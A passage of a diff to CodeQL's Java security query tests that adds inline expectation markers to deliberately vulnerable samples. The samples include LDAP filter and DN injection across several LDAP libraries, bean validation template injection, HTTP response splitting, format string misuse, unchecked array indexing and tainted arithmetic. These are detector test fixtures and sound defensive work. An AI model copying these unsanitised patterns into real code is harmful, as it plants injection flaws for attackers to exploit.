Source throws NamingException { - ctx.search(new LdapName("ou=system" + jBadDNNameToString).toString(), "(uid=" + jBad + ")", new SearchControls()); + ctx.search(new LdapName("ou=system" + jBadDNNameToString).toString(), "(uid=" + jBad + ")", new SearchControls()); // $ Alert } @RequestMapping - public void testJndiBad8(@RequestParam String jBad, @RequestParam String jBadDNNameClone, InitialDirContext ctx) + public void testJndiBad8(@RequestParam String jBad, @RequestParam String jBadDNNameClone, InitialDirContext ctx) // $ Source throws NamingException { - ctx.search((Name) new LdapName("ou=system" + jBadDNNameClone).clone(), "(uid=" + jBad + ")", new SearchControls()); + ctx.search((Name) new LdapName("ou=system" + jBadDNNameClone).clone(), "(uid=" + jBad + ")", new SearchControls()); // $ Alert } @RequestMapping @@ -97,107 +97,107 @@ public class LdapInjection { } @RequestMapping - public void testJndiOk2(@RequestParam String jOkAttribute, DirContext ctx) throws NamingException { - ctx.search("ou=system", new BasicAttributes(jOkAttribute, jOkAttribute)); + public void testJndiOk2(@RequestParam String jOkAttribute, DirContext ctx) throws NamingException { // $ Source + ctx.search("ou=system", new BasicAttributes(jOkAttribute, jOkAttribute)); // $ Alert } // UnboundID @RequestMapping - public void testUnboundBad1(@RequestParam String uBad, @RequestParam String uBadDN, LDAPConnection c) + public void testUnboundBad1(@RequestParam String uBad, @RequestParam String uBadDN, LDAPConnection c) // $ Source throws LDAPSearchException { - c.search(null, "ou=system" + uBadDN, null, null, 1, 1, false, "(uid=" + uBad + ")"); + c.search(null, "ou=system" + uBadDN, null, null, 1, 1, false, "(uid=" + uBad + ")"); // $ Alert } @RequestMapping - public void testUnboundBad2(@RequestParam String uBadFilterCreate, LDAPConnection c) throws LDAPException { - c.search(null, "ou=system", null, null, 1, 1, false, Filter.create(uBadFilterCreate)); + public void testUnboundBad2(@RequestParam String uBadFilterCreate, LDAPConnection c) throws LDAPException { // $ Source + c.search(null, "ou=system", null, null, 1, 1, false, Filter.create(uBadFilterCreate)); // $ Alert } @RequestMapping - public void testUnboundBad3(@RequestParam String uBadROSearchRequest, @RequestParam String uBadROSRDN, + public void testUnboundBad3(@RequestParam String uBadROSearchRequest, @RequestParam String uBadROSRDN, // $ Source LDAPConnection c) throws LDAPException { ReadOnlySearchRequest s = new SearchRequest(null, "ou=system" + uBadROSRDN, null, null, 1, 1, false, "(uid=" + uBadROSearchRequest + ")"); - c.search(s); + c.search(s); // $ Alert } @RequestMapping - public void testUnboundBad4(@RequestParam String uBadSearchRequest, @RequestParam String uBadSRDN, LDAPConnection c) + public void testUnboundBad4(@RequestParam String uBadSearchRequest, @RequestParam String uBadSRDN, LDAPConnection c) // $ Source throws LDAPException { SearchRequest s = new SearchRequest(null, "ou=system" + uBadSRDN, null, null, 1, 1, false, "(uid=" + uBadSearchRequest + ")"); - c.search(s); + c.search(s); // $ Alert } @RequestMapping - public void testUnboundBad5(@RequestParam String uBad, @RequestParam String uBadDNSFR, LDAPConnection c) + public void testUnboundBad5(@RequestParam String uBad, @RequestParam String uBadDNSFR, LDAPConnection c) // $ Source throws LDAPSearchException { - c.searchForEntry("ou=system" + uBadDNSFR, null, null, 1, false, "(uid=" + uBad + ")"); + c.searchForEntry("ou=system" + uBadDNSFR, null, null, 1, false, "(uid=" + uBad + ")"); // $ Alert } @RequestMapping - public void testUnboundBad6(@RequestParam String uBadROSearchRequestAsync, @RequestParam String uBadROSRDNAsync, + public void testUnboundBad6(@RequestParam String uBadROSearchRequestAsync, @RequestParam String uBadROSRDNAsync, // $ Source LDAPConnection c) throws LDAPException { ReadOnlySearchRequest s = new SearchRequest(null, "ou=system" + uBadROSRDNAsync, null, null, 1, 1, false, "(uid=" + uBadROSearchRequestAsync + ")"); - c.asyncSearch(s); + c.asyncSearch(s); // $ Alert } @RequestMapping - public void testUnboundBad7(@RequestParam String uBadSearchRequestAsync, @RequestParam String uBadSRDNAsync, LDAPConnection c) + public void testUnboundBad7(@RequestParam String uBadSearchRequestAsync, @RequestParam String uBadSRDNAsync, LDAPConnection c) // $ Source throws LDAPException { SearchRequest s = new SearchRequest(null, "ou=system" + uBadSRDNAsync, null, null, 1, 1, false, "(uid=" + uBadSearchRequestAsync + ")"); - c.asyncSearch(s); + c.asyncSearch(s); // $ Alert } @RequestMapping - public void testUnboundBad8(@RequestParam String uBadFilterCreateNOT, LDAPConnection c) throws LDAPException { - c.search(null, "ou=system", null, null, 1, 1, false, Filter.createNOTFilter(Filter.create(uBadFilterCreateNOT))); + public void testUnboundBad8(@RequestParam String uBadFilterCreateNOT, LDAPConnection c) throws LDAPException { // $ Source + c.search(null, "ou=system", null, null, 1, 1, false, Filter.createNOTFilter(Filter.create(uBadFilterCreateNOT))); // $ Alert } @RequestMapping - public void testUnboundBad9(@RequestParam String uBadFilterCreateToString, LDAPConnection c) throws LDAPException { - c.search(null, "ou=system", null, null, 1, 1, false, Filter.create(uBadFilterCreateToString).toString()); + public void testUnboundBad9(@RequestParam String uBadFilterCreateToString, LDAPConnection c) throws LDAPException { // $ Source + c.search(null, "ou=system", null, null, 1, 1, false, Filter.create(uBadFilterCreateToString).toString()); // $ Alert } @RequestMapping - public void testUnboundBad10(@RequestParam String uBadFilterCreateToStringBuffer, LDAPConnection c) throws LDAPException { + public void testUnboundBad10(@RequestParam String uBadFilterCreateToStringBuffer, LDAPConnection c) throws LDAPException { // $ Source StringBuilder b = new StringBuilder(); Filter.create(uBadFilterCreateToStringBuffer).toNormalizedString(b); - c.search(null, "ou=system", null, null, 1, 1, false, b.toString()); + c.search(null, "ou=system", null, null, 1, 1, false, b.toString()); // $ Alert } @RequestMapping - public void testUnboundBad11(@RequestParam String uBadSearchRequestDuplicate, LDAPConnection c) + public void testUnboundBad11(@RequestParam String uBadSearchRequestDuplicate, LDAPConnection c) // $ Source throws LDAPException { SearchRequest s = new SearchRequest(null, "ou=system", null, null, 1, 1, false, "(uid=" + uBadSearchRequestDuplicate + ")"); - c.search(s.duplicate()); + c.search(s.duplicate()); // $ Alert } @RequestMapping - public void testUnboundBad12(@RequestParam String uBadROSearchRequestDuplicate, LDAPConnection c) + public void testUnboundBad12(@RequestParam String uBadROSearchRequestDuplicate, LDAPConnection c) // $ Source throws LDAPException { ReadOnlySearchRequest s = new SearchRequest(null, "ou=system", null, null, 1, 1, false, "(uid=" + uBadROSearchRequestDuplicate + ")"); - c.search(s.duplicate()); + c.search(s.duplicate()); // $ Alert } @RequestMapping - public void testUnboundBad13(@RequestParam String uBadSearchRequestSetDN, LDAPConnection c) + public void testUnboundBad13(@RequestParam String uBadSearchRequestSetDN, LDAPConnection c) // $ Source throws LDAPException { SearchRequest s = new SearchRequest(null, "", null, null, 1, 1, false, ""); s.setBaseDN(uBadSearchRequestSetDN); - c.search(s); + c.search(s); // $ Alert } @RequestMapping - public void testUnboundBad14(@RequestParam String uBadSearchRequestSetFilter, LDAPConnection c) + public void testUnboundBad14(@RequestParam String uBadSearchRequestSetFilter, LDAPConnection c) // $ Source throws LDAPException { SearchRequest s = new SearchRequest(null, "ou=system", null, null, 1, 1, false, ""); s.setFilter(uBadSearchRequestSetFilter); - c.search(s); + c.search(s); // $ Alert } @RequestMapping @@ -226,72 +226,72 @@ public class LdapInjection { // Spring LDAP @RequestMapping - public void testSpringBad1(@RequestParam String sBad, @RequestParam String sBadDN, LdapTemplate c) { - c.search("ou=system" + sBadDN, "(uid=" + sBad + ")", 1, false, null); + public void testSpringBad1(@RequestParam String sBad, @RequestParam String sBadDN, LdapTemplate c) { // $ Source + c.search("ou=system" + sBadDN, "(uid=" + sBad + ")", 1, false, null); // $ Alert } @RequestMapping - public void testSpringBad2(@RequestParam String sBad, @RequestParam String sBadDNLNBuilder, LdapTemplate c) { - c.authenticate(LdapNameBuilder.newInstance("ou=system" + sBadDNLNBuilder).build(), "(uid=" + sBad + ")", "pass"); + public void testSpringBad2(@RequestParam String sBad, @RequestParam String sBadDNLNBuilder, LdapTemplate c) { // $ Source + c.authenticate(LdapNameBuilder.newInstance("ou=system" + sBadDNLNBuilder).build(), "(uid=" + sBad + ")", "pass"); // $ Alert } @RequestMapping - public void testSpringBad3(@RequestParam String sBad, @RequestParam String sBadDNLNBuilderAdd, LdapTemplate c) { - c.searchForObject(LdapNameBuilder.newInstance().add("ou=system" + sBadDNLNBuilderAdd).build(), "(uid=" + sBad + ")", null); + public void testSpringBad3(@RequestParam String sBad, @RequestParam String sBadDNLNBuilderAdd, LdapTemplate c) { // $ Source + c.searchForObject(LdapNameBuilder.newInstance().add("ou=system" + sBadDNLNBuilderAdd).build(), "(uid=" + sBad + ")", null); // $ Alert } @RequestMapping - public void testSpringBad4(@RequestParam String sBadLdapQuery, LdapTemplate c) { - c.findOne(LdapQueryBuilder.query().filter("(uid=" + sBadLdapQuery + ")"), null); + public void testSpringBad4(@RequestParam String sBadLdapQuery, LdapTemplate c) { // $ Source + c.findOne(LdapQueryBuilder.query().filter("(uid=" + sBadLdapQuery + ")"), null); // $ Alert } @RequestMapping - public void testSpringBad5(@RequestParam String sBadFilter, @RequestParam String sBadDNLdapUtils, LdapTemplate c) { - c.find(LdapUtils.newLdapName("ou=system" + sBadDNLdapUtils), new HardcodedFilter("(uid=" + sBadFilter + ")"), null, null); + public void testSpringBad5(@RequestParam String sBadFilter, @RequestParam String sBadDNLdapUtils, LdapTemplate c) { // $ Source + c.find(LdapUtils.newLdapName("ou=system" + sBadDNLdapUtils), new HardcodedFilter("(uid=" + sBadFilter + ")"), null, null); // $ Alert } @RequestMapping - public void testSpringBad6(@RequestParam String sBadLdapQuery, LdapTemplate c) { - c.searchForContext(LdapQueryBuilder.query().filter("(uid=" + sBadLdapQuery + ")")); + public void testSpringBad6(@RequestParam String sBadLdapQuery, LdapTemplate c) { // $ Source + c.searchForContext(LdapQueryBuilder.query().filter("(uid=" + sBadLdapQuery + ")")); // $ Alert } @RequestMapping - public void testSpringBad7(@RequestParam String sBadLdapQuery2, LdapTemplate c) { + public void testSpringBad7(@RequestParam String sBadLdapQuery2, LdapTemplate c) { // $ Source LdapQuery q = LdapQueryBuilder.query().filter("(uid=" + sBadLdapQuery2 + ")"); - c.searchForContext(q); + c.searchForContext(q); // $ Alert } @RequestMapping - public void testSpringBad8(@RequestParam String sBadLdapQueryWithFilter, LdapTemplate c) { - c.searchForContext(LdapQueryBuilder.query().filter(new HardcodedFilter("(uid=" + sBadLdapQueryWithFilter + ")"))); + public void testSpringBad8(@RequestParam String sBadLdapQueryWithFilter, LdapTemplate c) { // $ Source + c.searchForContext(LdapQueryBuilder.query().filter(new HardcodedFilter("(uid=" + sBadLdapQueryWithFilter + ")"))); // $ Alert } @RequestMapping - public void testSpringBad9(@RequestParam String sBadLdapQueryWithFilter2, LdapTemplate c) { + public void testSpringBad9(@RequestParam String sBadLdapQueryWithFilter2, LdapTemplate c) { // $ Source org.springframework.ldap.filter.Filter f = new HardcodedFilter("(uid=" + sBadLdapQueryWithFilter2 + ")"); - c.searchForContext(LdapQueryBuilder.query().filter(f)); + c.searchForContext(LdapQueryBuilder.query().filter(f)); // $ Alert } @RequestMapping - public void testSpringBad10(@RequestParam String sBadLdapQueryBase, LdapTemplate c) { - c.find(LdapQueryBuilder.query().base(sBadLdapQueryBase).base(), null, null, null); + public void testSpringBad10(@RequestParam String sBadLdapQueryBase, LdapTemplate c) { // $ Source + c.find(LdapQueryBuilder.query().base(sBadLdapQueryBase).base(), null, null, null); // $ Alert } @RequestMapping - public void testSpringBad11(@RequestParam String sBadLdapQueryComplex, LdapTemplate c) { - c.searchForContext(LdapQueryBuilder.query().base(sBadLdapQueryComplex).where("uid").is("test")); + public void testSpringBad11(@RequestParam String sBadLdapQueryComplex, LdapTemplate c) { // $ Source + c.searchForContext(LdapQueryBuilder.query().base(sBadLdapQueryComplex).where("uid").is("test")); // $ Alert } @RequestMapping - public void testSpringBad12(@RequestParam String sBadFilterToString, LdapTemplate c) { - c.search("", new HardcodedFilter("(uid=" + sBadFilterToString + ")").toString(), 1, false, null); + public void testSpringBad12(@RequestParam String sBadFilterToString, LdapTemplate c) { // $ Source + c.search("", new HardcodedFilter("(uid=" + sBadFilterToString + ")").toString(), 1, false, null); // $ Alert } @RequestMapping - public void testSpringBad13(@RequestParam String sBadFilterEncode, LdapTemplate c) { + public void testSpringBad13(@RequestParam String sBadFilterEncode, LdapTemplate c) { // $ Source StringBuffer s = new StringBuffer(); new HardcodedFilter("(uid=" + sBadFilterEncode + ")").encode(s); - c.search("", s.toString(), 1, false, null); + c.search("", s.toString(), 1, false, null); // $ Alert } @RequestMapping @@ -311,39 +311,39 @@ public class LdapInjection { // Apache LDAP API @RequestMapping - public void testApacheBad1(@RequestParam String aBad, @RequestParam String aBadDN, LdapConnection c) + public void testApacheBad1(@RequestParam String aBad, @RequestParam String aBadDN, LdapConnection c) // $ Source throws LdapException { - c.search("ou=system" + aBadDN, "(uid=" + aBad + ")", null); + c.search("ou=system" + aBadDN, "(uid=" + aBad + ")", null); // $ Alert } @RequestMapping - public void testApacheBad2(@RequestParam String aBad, @RequestParam String aBadDNObjToString, LdapNetworkConnection c) + public void testApacheBad2(@RequestParam String aBad, @RequestParam String aBadDNObjToString, LdapNetworkConnection c) // $ Source throws LdapException { - c.search(new Dn("ou=system" + aBadDNObjToString).getName(), "(uid=" + aBad + ")", null); + c.search(new Dn("ou=system" + aBadDNObjToString).getName(), "(uid=" + aBad + ")", null); // $ Alert } @RequestMapping - public void testApacheBad3(@RequestParam String aBadSearchRequest, LdapConnection c) + public void testApacheBad3(@RequestParam String aBadSearchRequest, LdapConnection c) // $ Source throws LdapException { org.apache.directory.api.ldap.model.message.SearchRequest s = new SearchRequestImpl(); s.setFilter("(uid=" + aBadSearchRequest + ")"); - c.search(s); + c.search(s); // $ Alert } @RequestMapping - public void testApacheBad4(@RequestParam String aBadSearchRequestImpl, @RequestParam String aBadDNObj, LdapConnection c) + public void testApacheBad4(@RequestParam String aBadSearchRequestImpl, @RequestParam String aBadDNObj, LdapConnection c) // $ Source throws LdapException { SearchRequestImpl s = new SearchRequestImpl(); s.setBase(new Dn("ou=system" + aBadDNObj)); - c.search(s); + c.search(s); // $ Alert } @RequestMapping - public void testApacheBad5(@RequestParam String aBadDNSearchRequestGet, LdapConnection c) + public void testApacheBad5(@RequestParam String aBadDNSearchRequestGet, LdapConnection c) // $ Source throws LdapException { org.apache.directory.api.ldap.model.message.SearchRequest s = new SearchRequestImpl(); s.setBase(new Dn("ou=system" + aBadDNSearchRequestGet)); - c.search(s.getBase(), "(uid=test", null); + c.search(s.getBase(), "(uid=test", null); // $ Alert } @RequestMapping diff --git a/java/ql/test/query-tests/security/CWE-090/LdapInjection.qlref b/java/ql/test/query-tests/security/CWE-090/LdapInjection.qlref index 53b04e4c00f..01bec30b84b 100644 --- a/java/ql/test/query-tests/security/CWE-090/LdapInjection.qlref +++ b/java/ql/test/query-tests/security/CWE-090/LdapInjection.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-090/LdapInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-094/InsecureBeanValidation.java b/java/ql/test/query-tests/security/CWE-094/InsecureBeanValidation.java index 71d4145adfc..bfa94bbe3a8 100644 --- a/java/ql/test/query-tests/security/CWE-094/InsecureBeanValidation.java +++ b/java/ql/test/query-tests/security/CWE-094/InsecureBeanValidation.java @@ -4,11 +4,11 @@ import javax.validation.ConstraintValidatorContext; public class InsecureBeanValidation implements ConstraintValidator { @Override - public boolean isValid(String object, ConstraintValidatorContext constraintContext) { + public boolean isValid(String object, ConstraintValidatorContext constraintContext) { // $ Source String value = object + " is invalid"; // Bad: Bean properties (normally user-controlled) are passed directly to `buildConstraintViolationWithTemplate` - constraintContext.buildConstraintViolationWithTemplate(value).addConstraintViolation().disableDefaultConstraintViolation(); + constraintContext.buildConstraintViolationWithTemplate(value).addConstraintViolation().disableDefaultConstraintViolation(); // $ Alert // Good: Using message parameters constraintContext.buildConstraintViolationWithTemplate("literal {message_parameter}").addConstraintViolation().disableDefaultConstraintViolation(); diff --git a/java/ql/test/query-tests/security/CWE-094/InsecureBeanValidation.qlref b/java/ql/test/query-tests/security/CWE-094/InsecureBeanValidation.qlref index 73254e55f93..d65ecf968f5 100644 --- a/java/ql/test/query-tests/security/CWE-094/InsecureBeanValidation.qlref +++ b/java/ql/test/query-tests/security/CWE-094/InsecureBeanValidation.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-094/InsecureBeanValidation.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-1104/semmle/tests/MavenPomDependsOnBintray.qlref b/java/ql/test/query-tests/security/CWE-1104/semmle/tests/MavenPomDependsOnBintray.qlref index 9f05b219bfe..8f21e578165 100644 --- a/java/ql/test/query-tests/security/CWE-1104/semmle/tests/MavenPomDependsOnBintray.qlref +++ b/java/ql/test/query-tests/security/CWE-1104/semmle/tests/MavenPomDependsOnBintray.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-1104/MavenPomDependsOnBintray.ql +query: Security/CWE/CWE-1104/MavenPomDependsOnBintray.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-1104/semmle/tests/bad-bintray-pom.xml b/java/ql/test/query-tests/security/CWE-1104/semmle/tests/bad-bintray-pom.xml index 7e133256428..e5a87437df7 100644 --- a/java/ql/test/query-tests/security/CWE-1104/semmle/tests/bad-bintray-pom.xml +++ b/java/ql/test/query-tests/security/CWE-1104/semmle/tests/bad-bintray-pom.xml @@ -19,13 +19,13 @@ JCenter https://jcenter.bintray.com - + jcenter-snapshots JCenter https://jcenter.bintray.com - + @@ -33,7 +33,7 @@ JCenter https://jcenter.bintray.com - + @@ -41,7 +41,7 @@ JCenter https://dl.bintray.com/groovy/maven - + @@ -49,6 +49,6 @@ JCenter https://jcenter.bintray.com - + diff --git a/java/ql/test/query-tests/security/CWE-113/semmle/tests/ResponseSplitting.java b/java/ql/test/query-tests/security/CWE-113/semmle/tests/ResponseSplitting.java index b2ea8780e8e..abe71180838 100644 --- a/java/ql/test/query-tests/security/CWE-113/semmle/tests/ResponseSplitting.java +++ b/java/ql/test/query-tests/security/CWE-113/semmle/tests/ResponseSplitting.java @@ -19,14 +19,14 @@ public class ResponseSplitting extends HttpServlet { // BAD: setting a cookie with an unvalidated parameter // can lead to HTTP splitting { - Cookie cookie = new Cookie("name", request.getParameter("name")); - response.addCookie(cookie); + Cookie cookie = new Cookie("name", request.getParameter("name")); // $ Source + response.addCookie(cookie); // $ Alert } // BAD: setting a header with an unvalidated parameter // can lead to HTTP splitting - response.addHeader("Content-type", request.getParameter("contentType")); - response.setHeader("Content-type", request.getParameter("contentType")); + response.addHeader("Content-type", request.getParameter("contentType")); // $ Alert + response.setHeader("Content-type", request.getParameter("contentType")); // $ Alert // GOOD: remove special characters before putting them in the header { @@ -50,13 +50,13 @@ public class ResponseSplitting extends HttpServlet { } public void sanitizerTests(HttpServletRequest request, HttpServletResponse response){ - String t = request.getParameter("contentType"); + String t = request.getParameter("contentType"); // $ Source // GOOD: whitelist-based sanitization response.setHeader("h", t.replaceAll("[^a-zA-Z]", "")); // BAD: not replacing all problematic characters - response.setHeader("h", t.replaceFirst("[^a-zA-Z]", "")); + response.setHeader("h", t.replaceFirst("[^a-zA-Z]", "")); // $ Alert // GOOD: replace all line breaks response.setHeader("h", t.replace('\n', ' ').replace('\r', ' ')); diff --git a/java/ql/test/query-tests/security/CWE-113/semmle/tests/ResponseSplitting.qlref b/java/ql/test/query-tests/security/CWE-113/semmle/tests/ResponseSplitting.qlref index 897d985e9d4..561c8aa65a3 100644 --- a/java/ql/test/query-tests/security/CWE-113/semmle/tests/ResponseSplitting.qlref +++ b/java/ql/test/query-tests/security/CWE-113/semmle/tests/ResponseSplitting.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-113/ResponseSplitting.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayConstruction.qlref b/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayConstruction.qlref index fc09d33596a..883151805d4 100644 --- a/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayConstruction.qlref +++ b/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayConstruction.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-129/ImproperValidationOfArrayConstruction.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayConstructionCodeSpecified.qlref b/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayConstructionCodeSpecified.qlref index 4cff7c39aa6..e8277291432 100644 --- a/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayConstructionCodeSpecified.qlref +++ b/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayConstructionCodeSpecified.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-129/ImproperValidationOfArrayConstructionCodeSpecified.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayIndex.qlref b/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayIndex.qlref index 4dd969c5476..b9d7cd83e49 100644 --- a/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayIndex.qlref +++ b/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayIndex.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-129/ImproperValidationOfArrayIndex.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayIndexCodeSpecified.qlref b/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayIndexCodeSpecified.qlref index b267f488b34..98cc770b734 100644 --- a/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayIndexCodeSpecified.qlref +++ b/java/ql/test/query-tests/security/CWE-129/semmle/tests/ImproperValidationOfArrayIndexCodeSpecified.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-129/ImproperValidationOfArrayIndexCodeSpecified.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-129/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-129/semmle/tests/Test.java index c7be8b0031c..956912f0aba 100644 --- a/java/ql/test/query-tests/security/CWE-129/semmle/tests/Test.java +++ b/java/ql/test/query-tests/security/CWE-129/semmle/tests/Test.java @@ -11,12 +11,12 @@ class Test { public static void basic() { int array[] = { 0, 1, 2, 3, 4 }; - String userProperty = System.getProperty("userProperty"); + String userProperty = System.getProperty("userProperty"); // $ Source[java/improper-validation-of-array-index] try { int index = Integer.parseInt(userProperty.trim()); // BAD Accessing array without conditional check - System.out.println(array[index]); + System.out.println(array[index]); // $ Alert[java/improper-validation-of-array-index] if (index >= 0 && index < array.length) { // GOOD Accessing array under conditions @@ -38,10 +38,10 @@ class Test { public static void random() { int array[] = { 0, 1, 2, 3, 4 }; - int index = (new SecureRandom()).nextInt(10); + int index = (new SecureRandom()).nextInt(10); // $ Source[java/improper-validation-of-array-index-code-specified] // BAD Accessing array without conditional check - System.out.println(array[index]); + System.out.println(array[index]); // $ Alert[java/improper-validation-of-array-index-code-specified] if (index < array.length) { // GOOD Accessing array under conditions @@ -56,10 +56,10 @@ class Test { public static void apacheRandom() { int array[] = { 0, 1, 2, 3, 4 }; - int index = RandomUtils.nextInt(0, 10); + int index = RandomUtils.nextInt(0, 10); // $ Source[java/improper-validation-of-array-index-code-specified] // BAD Accessing array without conditional check - System.out.println(array[index]); + System.out.println(array[index]); // $ Alert[java/improper-validation-of-array-index-code-specified] if (index < array.length) { // GOOD Accessing array under conditions @@ -73,20 +73,20 @@ class Test { public static void construction() { - String userProperty = System.getProperty("userProperty"); + String userProperty = System.getProperty("userProperty"); // $ Source[java/improper-validation-of-array-construction] try { int size = Integer.parseInt(userProperty.trim()); - int[] array = new int[size]; + int[] array = new int[size]; // $ Sink[java/improper-validation-of-array-construction] // BAD The array was created without checking the size, so this access may be dubious - System.out.println(array[0]); + System.out.println(array[0]); // $ Alert[java/improper-validation-of-array-construction] if (size >= 0) { - int[] array2 = new int[size]; + int[] array2 = new int[size]; // $ Sink[java/improper-validation-of-array-construction] // BAD The array was created without checking that the size is greater than zero - System.out.println(array2[0]); + System.out.println(array2[0]); // $ Alert[java/improper-validation-of-array-construction] } if (size > 0) { @@ -102,12 +102,12 @@ class Test { public static void constructionBounded() { - int size = 0; + int size = 0; // $ Source[java/improper-validation-of-array-construction-code-specified] - int[] array = new int[size]; + int[] array = new int[size]; // $ Sink[java/improper-validation-of-array-construction-code-specified] // BAD Array may be empty. - System.out.println(array[0]); + System.out.println(array[0]); // $ Alert[java/improper-validation-of-array-construction-code-specified] int index = 0; if (index < array.length) { diff --git a/java/ql/test/query-tests/security/CWE-134/semmle/tests/ExternallyControlledFormatString.qlref b/java/ql/test/query-tests/security/CWE-134/semmle/tests/ExternallyControlledFormatString.qlref index 6309a7eb502..ee54ac69fe1 100644 --- a/java/ql/test/query-tests/security/CWE-134/semmle/tests/ExternallyControlledFormatString.qlref +++ b/java/ql/test/query-tests/security/CWE-134/semmle/tests/ExternallyControlledFormatString.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-134/ExternallyControlledFormatString.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-134/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-134/semmle/tests/Test.java index 140c9974086..56c9930f94d 100644 --- a/java/ql/test/query-tests/security/CWE-134/semmle/tests/Test.java +++ b/java/ql/test/query-tests/security/CWE-134/semmle/tests/Test.java @@ -14,29 +14,29 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; class Test { public static void basic() { - String userProperty = System.getProperty("userProperty"); + String userProperty = System.getProperty("userProperty"); // $ Source // BAD User provided value as format string for String.format - String.format(userProperty); + String.format(userProperty); // $ Alert // BAD User provided value as format string for PrintStream.format - System.out.format(userProperty); + System.out.format(userProperty); // $ Alert // BAD User provided value as format string for PrintStream.printf - System.out.printf(userProperty); + System.out.printf(userProperty); // $ Alert // BAD User provided value as format string for Formatter.format - new Formatter().format(userProperty); + new Formatter().format(userProperty); // $ Alert // BAD User provided value as format string for Formatter.format - new Formatter().format(Locale.ENGLISH, userProperty); + new Formatter().format(Locale.ENGLISH, userProperty); // $ Alert } public class FileUploadServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { - String userParameter = request.getParameter("userProvidedParameter"); + String userParameter = request.getParameter("userProvidedParameter"); // $ Source formatString(userParameter); } private void formatString(String format) { // BAD This is used with user provided parameter - System.out.format(format); + System.out.format(format); // $ Alert } } } diff --git a/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticTainted.java b/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticTainted.java index 04020aac31f..0167af87497 100644 --- a/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticTainted.java +++ b/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticTainted.java @@ -14,7 +14,7 @@ public class ArithmeticTainted { try { - readerInputStream = new InputStreamReader(System.in, "UTF-8"); + readerInputStream = new InputStreamReader(System.in, "UTF-8"); // $ Source[java/tainted-arithmetic] readerBuffered = new BufferedReader(readerInputStream); String stringNumber = readerBuffered.readLine(); if (stringNumber != null) { @@ -29,7 +29,7 @@ public class ArithmeticTainted { { // BAD: may overflow if input data is very large - int scaled = data + 10; + int scaled = data + 10; // $ Alert[java/tainted-arithmetic] } { @@ -37,7 +37,7 @@ public class ArithmeticTainted { if (data > Integer.MIN_VALUE) { System.out.println("I'm guarded"); } - int output = data - 10; + int output = data - 10; // $ Alert[java/tainted-arithmetic] } { @@ -47,7 +47,7 @@ public class ArithmeticTainted { } else { System.out.println("I'm not guarded"); } - int output = data + 1; + int output = data + 1; // $ Alert[java/tainted-arithmetic] } { @@ -68,7 +68,7 @@ public class ArithmeticTainted { // GOOD int output_ok = ok + 1; // BAD - int output = herring + 1; + int output = herring + 1; // $ Alert[java/tainted-arithmetic] } { @@ -92,7 +92,7 @@ public class ArithmeticTainted { { // BAD: tainted int value is widened to type long, but subsequently // cast to narrower type int - int widenedThenNarrowed = (int) (data + 10L); + int widenedThenNarrowed = (int) (data + 10L); // $ Alert[java/tainted-arithmetic] } // The following test case has an arbitrary guard on hashcode @@ -126,19 +126,19 @@ public class ArithmeticTainted { public static void test(int data) { // BAD: may overflow if input data is very large - data++; + data++; // $ Alert[java/tainted-arithmetic] } public static void test2(int data) { // BAD: may overflow if input data is 